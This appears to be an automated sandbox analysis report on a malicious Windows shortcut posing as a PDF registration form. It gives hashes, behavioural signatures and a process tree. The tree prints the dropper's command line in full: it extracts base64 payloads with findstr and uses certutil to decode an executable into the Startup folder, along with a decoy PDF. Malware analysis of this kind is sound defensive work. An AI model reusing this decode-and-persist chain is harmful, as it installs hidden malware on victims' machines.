Analysis
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max time kernel
95s -
max time network
98s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
04/09/2024, 13:16
Static task
static1
Behavioral task
behavioral1
Sample
4989882339d745692eabe0a375d8cecd6e7e3af534cd1173d94867b8d069cd7f.lnk
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4989882339d745692eabe0a375d8cecd6e7e3af534cd1173d94867b8d069cd7f.lnk
Resource
win10v2004-20240802-en
General
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Target
4989882339d745692eabe0a375d8cecd6e7e3af534cd1173d94867b8d069cd7f.lnk
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Size
2.0MB
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MD5
ce92fc90e5b4387531b7875fb57158d3
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SHA1
cd2e458f49db5575e0e9015a07faab6e43bc2d61
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SHA256
4989882339d745692eabe0a375d8cecd6e7e3af534cd1173d94867b8d069cd7f
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SHA512
8854cb96fd90b0a5316f49f78b39e66465de3f935c6365c77fc26fcc2b5254ba0c1f08203ccdb9c955725d1f0ccacf9f02f32811c831998b8323450319cd61b3
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SSDEEP
24576:FKrzksL207JGXwCBB+aDYfNucQ8sSNJTjiOLuo+Gq7OWVp4i3rHnP/v6vB7HQ4AV:QVpdwqqOLnQ3baBSxKG1ysjTH
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation cmd.exe -
pid Process 64 cmd.exe 940 certutil.exe 4512 certutil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3344 wrote to memory of 64 3344 cmd.exe 83 PID 3344 wrote to memory of 64 3344 cmd.exe 83 PID 64 wrote to memory of 3220 64 cmd.exe 84 PID 64 wrote to memory of 3220 64 cmd.exe 84 PID 64 wrote to memory of 2720 64 cmd.exe 85 PID 64 wrote to memory of 2720 64 cmd.exe 85 PID 64 wrote to memory of 940 64 cmd.exe 87 PID 64 wrote to memory of 940 64 cmd.exe 87 PID 64 wrote to memory of 4512 64 cmd.exe 88 PID 64 wrote to memory of 4512 64 cmd.exe 88
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\4989882339d745692eabe0a375d8cecd6e7e3af534cd1173d94867b8d069cd7f.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3344 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "cd C:\Users\Admin\AppData\Local\Temp/*_registration_form.pdf.zip/&findstr TVqQAAMA registration_form.pdf.lnk > C:\Users\Admin\AppData\Local\Temp\2.txt&findstr JVBERi0x registration_form.pdf.lnk >C:\Users\Admin\AppData\Local\Temp\1.txt&cd C:\Users\Admin\AppData\Local\Temp&certutil -decode 2.txt C:\Users\Admin\AppData\Roaming\Microsoft\Windows\STARTM~1\Programs\Startup\updater.exe"&certutil -decode 1.txt registration_form.pdf®istration_form.pdf&del 1.txt 2.txt2⤵
- Deobfuscate/Decode Files or Information
- Suspicious use of WriteProcessMemory
PID:64 -
C:\Windows\system32\findstr.exefindstr TVqQAAMA registration_form.pdf.lnk3⤵PID:3220
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C:\Windows\system32\findstr.exefindstr JVBERi0x registration_form.pdf.lnk3⤵PID:2720
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C:\Windows\system32\certutil.execertutil -decode 2.txt C:\Users\Admin\AppData\Roaming\Microsoft\Windows\STARTM~1\Programs\Startup\updater.exe3⤵
- Deobfuscate/Decode Files or Information
PID:940
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C:\Windows\system32\certutil.execertutil -decode 1.txt registration_form.pdf3⤵
- Deobfuscate/Decode Files or Information
PID:4512
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